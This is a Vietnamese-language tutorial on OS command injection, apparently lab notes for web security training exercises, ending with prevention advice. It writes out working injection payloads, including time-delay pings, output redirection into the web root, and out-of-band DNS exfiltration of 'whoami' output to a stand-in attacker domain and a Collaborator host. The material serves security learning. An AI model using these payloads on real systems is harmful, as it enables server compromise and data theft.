Command injection

Trong phần này giải thích: khái niệm command injection, mô tả cách phát hiện và khai thác lỗ hổng và cách ngăn chặn...

Command injection là gì ?

Command injection là một lỗ hổng bảo mật web cho phép attacker tấn công thực thi các lệnh hệ điều hành (OS) tùy ý trên máy chủ đang chạy ứng dụng và thường xâm phạm hoàn toàn ứng dụng cũng như tất cả dữ liệu.

Executing arbitrary commands

Giả sử, có một ứng dụng mua sắm cho phép người dùng xem liệu rằng một mặt hàng có còn trong 1 cửa hàng cụ thể nào không. Thông tin này được truy cập qua URL sau:

Để cung cấp thông tin hàng hóa trong kho, ứng dụng phải truy vấn các hệ thống kế thừa khác nhau. Vì các lí do, chức năng này được triển khai bằng cách gọi lệnh shell với productID và storeID làm đối số:

stockreport.pl 381 29

Lệnh này cho kết quả là trạng thái hàng trong kho cho mặt hàng đã chỉ định trược trả lại cho người dùng.

Vì ứng dụng không thực hiện biện pháp bảo vệ nào đối với việc tiêm lệnh của hệ điều hành, nên attacker có thể gửi thông tin đầu vào như sau để thực thi một lệnh tùy ý:

& echo misa0136 &

Giả sử đầu vào này được gửi trong tham số productID, thì lệnh này được ứng dụng thực thi là:

stockreport.pl & echo misa0136 & 29

Kết quả: Error - productID was not provided misa0136 29 : command not found

Giải thích: 1. Lệnh ban đầu stockreport.pl đã được thực thi mà không có các dối số dự kiến của nó, do đó đã trả về thông báo lỗi 2. Lệnh echo đã được thực thi, chuỗi cung cấp đã được ouput 3. Đối số 29 được thực thi dưới dạng lệnh -> gây ra lỗi

Tại sao lại đặt dấu tách lệnh & ? Vì nó tách lệnh được chèn khỏi bất kỳ thứ gì theo sau điểm chèn. Điều này làm giảm khả năng những gì tiếp theo sẽ ngăn lệnh được đưa vào.

Thực hành lab: (Level Apprentice)

Tên lab: OS command injection, simple case

Nội dung lab: Trang web này có lỗ hổng OS command injection trong trình kiểm tra sản phẩm trong kho. Để giải quyết lab, thực hiện lệnh whoami để xác định tên người dùng hiện tại.

Thực hiện lab:

  1. Sử đụng Burp Suite để bắt request

  2. Chèn lệnh vào storeID: productId=2&storeId=1&whoami

Blind command injection vulnerabilities

Trên thực tế, có nhiều trường hợp xảy ra đây là lỗ hổng blind. Điều này có nghĩa là ứng dụng không trả về đầu ra từ lệnh trong phản hồi HTTP của nó. Nhưng lỗ hổng này vẫn có thể được khai thác nhưng cần có kĩ thuật nâng cao hơn.

Detecting blind command injection using time delays

Có thể sử dụng lệnh được đưa vào sẽ kích hoạt thời gian trễ, cho phép bạn xác nhận rằng lệnh đã thực thi dựa trên thowig gian ứng dụng cần để phản hồi. Lệnh ping là một cách hiệu quả để thực hiện việc đánh giá này, vì nó cho phép bạn chỉ định số lượng gói ICMP sẽ gửi và do đó, biết thời gian để chạy:

& ping -c 10 127.0.0.1 &

Thực hành lab: (Level Practitioner)

Tên lab: Blind command injection with time delays

Nội dung lab: Trang web này chứa lỗ hổng blind command injection trong chức năng feedback. Để hoàn thành lab, khai thác lỗ hổng này bằng cách gây ra độ trễ 10s.

Thực hiện lab:

  1. Bắt request bằng Burp Suite

  2. Chèn lệnh : ||ping -c 10 127.0.0.1|| trong trường email

Exploiting blind command injection by redirecting output

Có thể chuyển hướng đầu ra từ lệnh được chèn vào một tệp trong thư mục gốc của web mà sau đó có thể truy xuất ra trình duyệt. Ví dụ, nếu ứng dụng phục vụ tài nguyên từ vị trí hệ thống tệp /var/www/static thì bạn có thể gửi thông tin đầu vào sau: & whoami > /var/www/static/whoami.txt &

Ký tự > gửi đầu ra từ câu lệnh whoami đến tệp được chỉ đinh. Sau đó có thể sử dụng trình duyệt để truy xuất lệp và xem đầu ra từ lệnh được đưa vào. Ví dụ : http//example.com/whoami.txt

Thực hành lab: (Level Practitioner)

Tên lab: Blind command injection with ouput redirection

Nội dung lab: Trang web này tồn lại lỗ hổng blind command injection trong phần chức năng feedback. Ứng dụng thực thi shell chứa các chi tiết do người dùng cung cấp. Có thể sử dụng chuyển hướng đầu ra để năm bắt đầu ra từ lệnh. Có một thư mục có thể ghi lại /var/www/images/ . Thực hiện lệnh whoami và truy xuất đầu ra

Thực hiện lab:

  1. Sử dụng Burpsuite để chặn và sửa đổi request

  2. Chèn lệnh vào trường email: email=||whoami > /var/www/images/result.txt

  3. Truy cập vào Proxy -> History và gửi 1 request có chứa tham số filename đến Repeater. Thay đổi giá trị tham số filename thành filename=result.txt

  4. Hoàn thành lab.

Exploiting blind command injection using out-of-band techniques

Có thể sử dụng một lệnh được đưa vào sẽ kích hoạt tương tác mạng ngoài băng tầng với hệ thống mà bạn kiểm soát. Ví dụ: & nslookup abc.web-attacker.com &

Payload này sử dụng lệnh nslookup để thực hiện tra cứu DNS cho miền được chỉ định. Attacker có thể theo dõi quá trình tra cứu này và do đó phát hiện ra rằng lệnh đã được đưa vào thành công.

Kênh ngoài băng tần này cũng cung cấp một cách dễ dàng để trích xuất đầu ra từ các lệnh được đưa vào. Ví dụ: & nslookup 'whoami'.abc.web-attacker.com &

Kết quả là: wwwuser.abc.web-attacker.com

Thực hành lab: (Level Practitioner)

Tên lab: Blind command injection with out-of-band interaction

Nội dung lab: Trang web này tồn tại lỗ hổng blind command injection trong chức năng feedback. Để giải quyết, đưa ra tra cứu DNS cho Burp Collaborator

Thực hiện lab:

  1. Sử dụng Burp suite để chặn và sửa đổi request

  2. Sử dụng Burp Collaborator. Copy link trong Collaborator để chèn vào payload: & nslookup n2quaia5yblgce463rxys80xqowek3.oastify.com &

  3. Gửi request để hoàn thành lab

Thực hành lab: (Level Practitioner)

Tên lab: Blind command injection with out-of-band data exfiltration

Nội dung lab: Trang web này chứa lỗ hổng blind command injection trong chức năng feedback của nó. Ứng dụng này thực thi những shell command do người dùng cung cấp. Lệnh được thực thi không đồng bộ và không ảnh hưởng đến phản hồi của ứng dụng. Không thể chuyển hướng đầu ra vào một vị trí mà bạn có thể truy cập. Để giải quyết bài lab này, hãy thực thi lệnh whoami và lọc đầu ra thông qua truy vấn DNS tới Burp Collaborator. Đăng nhập để hoàn thành lab. (Lưu ý, chỉ sử dụng Burpsuite Pro mới có thể hoàn thành lab này)

Thực hiện lab:

  1. Sử dụng Burp suite để chặn và sửa đổi request

  2. Chọn Burp Collaborator và copy to clipboard.

  3. Chèn link vừa copy vào payload trong trường email. Payload: email=misa011001@gmail.com||nslookup+'whoami'.sjf6hnj26q46rk3sd4d9xwod94fv3k.oastify.com||

  4. Sau khi gửi payload, trong giao diện của Collaborator, nhấn Pull now. Nhận được kết quả:

  5. Submit tên người dùng tìm được để hoàn thành lab

Cách ngăn chặn các cuộc tấn công command injection

Cách hiệu quả nhất cho đến nay để ngăn chặn các cuộc tấn công command injection là không bao giờ được gọi các lệnh của hệ điều hành từ lớp ứng dụng. Trong hầu hết các trường hợp, có nhiều cách thay thế để triển khai chức năng được yêu cầu bằng cách sử dụng API.

Nếu điều trên là không thể, hãy thực hiện một số biện pháp sau:

  1. Xác thực với danh sách trắng

  2. Xác thực đầu vào là một số

  3. Xác thực đầu vào chỉ chứa kí tự chữ và số, không có cú pháp hoặc khoảng trắng nào khác

Trên đây là một số kiến thức cơ bản về command injection. Hy vọng, bạn đọc có thể hiểu thêm về lỗ hổng này.

Last updated